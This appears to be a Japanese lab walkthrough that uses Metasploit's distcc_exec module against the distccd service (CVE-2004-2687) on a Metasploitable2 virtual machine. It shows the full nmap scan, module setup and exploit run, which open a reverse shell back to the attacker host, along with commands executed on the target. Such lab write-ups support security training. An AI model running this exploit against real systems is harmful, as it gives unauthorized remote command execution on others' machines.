Metasploit(distccデーモン)

Metasploit コンソールの起動

root@kali:~# service postgresql restart
root@kali:~# msfdb init
[i] Database already started
[i] The database appears to be already configured, skipping initialization
root@kali:~# msfconsole
 ~(中略)~
       =[ metasploit v5.0.38-dev                          ]
+ -- --=[ 1912 exploits - 1073 auxiliary - 329 post       ]
+ -- --=[ 545 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 3 evasion                                       ]

msf5 > 

ターゲットのポート3632 がオープンしているかチェックする。

msf5 > nmap -p 3632 192.168.56.105
[*] exec: nmap -p 3632 192.168.56.105

Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-08 01:07 JST
Nmap scan report for 192.168.56.105
Host is up (0.00039s latency).

PORT     STATE SERVICE
3632/tcp open  distccd
MAC Address: 08:00:27:79:45:E8 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds

ポート3632 で distccd が稼働していることが分かる。

distcc - Wikipedia
コンピュータネットワーク上での分散コンピューティングを利用し、ソースコードコンパイル速度を改善するツールである。

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
XCode 1.5などで使用されるdistcc 2.xは、サーバーポートへのアクセスを制限するように構成されていない場合、リモートの攻撃者がコンパイルジョブを介して任意のコマンドを実行することを許す。

エクスプロイトを検索してみる。

msf5 > search distcc

Matching Modules
================

   #  Name                           Disclosure Date  Rank       Check  Description
   -  ----                           ---------------  ----       -----  -----------
   0  exploit/unix/misc/distcc_exec  2002-02-01       excellent  Yes    DistCC Daemon Command Execution

エクスプロイトが存在するので、詳細を見てみる。

msf5 > info exploit/unix/misc/distcc_exec

       Name: DistCC Daemon Command Execution
     Module: exploit/unix/misc/distcc_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2002-02-01

Provided by:
  hdm 

Available targets:
  Id  Name
  --  ----
  0   Automatic Target

Check supported:
  Yes

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target address range or CIDR identifier
  RPORT   3632             yes       The target port (TCP)

Payload information:
  Space: 1024

Description:
  This module uses a documented security weakness to execute arbitrary 
  commands on any system running distccd.

References:
  https://cvedetails.com/cve/CVE-2004-2687/
  OSVDB (13378)
  http://distcc.samba.org/security.html

エクスプロイトを使用する。標的となるリモートホストをセットし、エクスプロイトを実行する。

msf5 > use exploit/unix/misc/distcc_exec
msf5 exploit(unix/misc/distcc_exec) > set RHOST 192.168.56.105
RHOST => 192.168.56.105
msf5 exploit(unix/misc/distcc_exec) > exploit 

[*] Started reverse TCP double handler on 192.168.56.106:4444 
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo Kgd7cZnuv0jQK45H;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "Kgd7cZnuv0jQK45H\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.56.106:4444 -> 192.168.56.105:46748) at 2019-09-08 01:19:53 +0900

id (← コマンド入力)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uname -a (← コマンド入力)
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Metasploitable2 に侵入できていることが分かる。

終了する。

^C (← Ctrl + C)
Abort session 1? [y/N]  y
""

[*] 192.168.56.105 - Command shell session 1 closed.  Reason: User exit
msf5 exploit(unix/misc/distcc_exec) > back
msf5 > exit
root@kali:~# 
/* -----codeの行番号----- */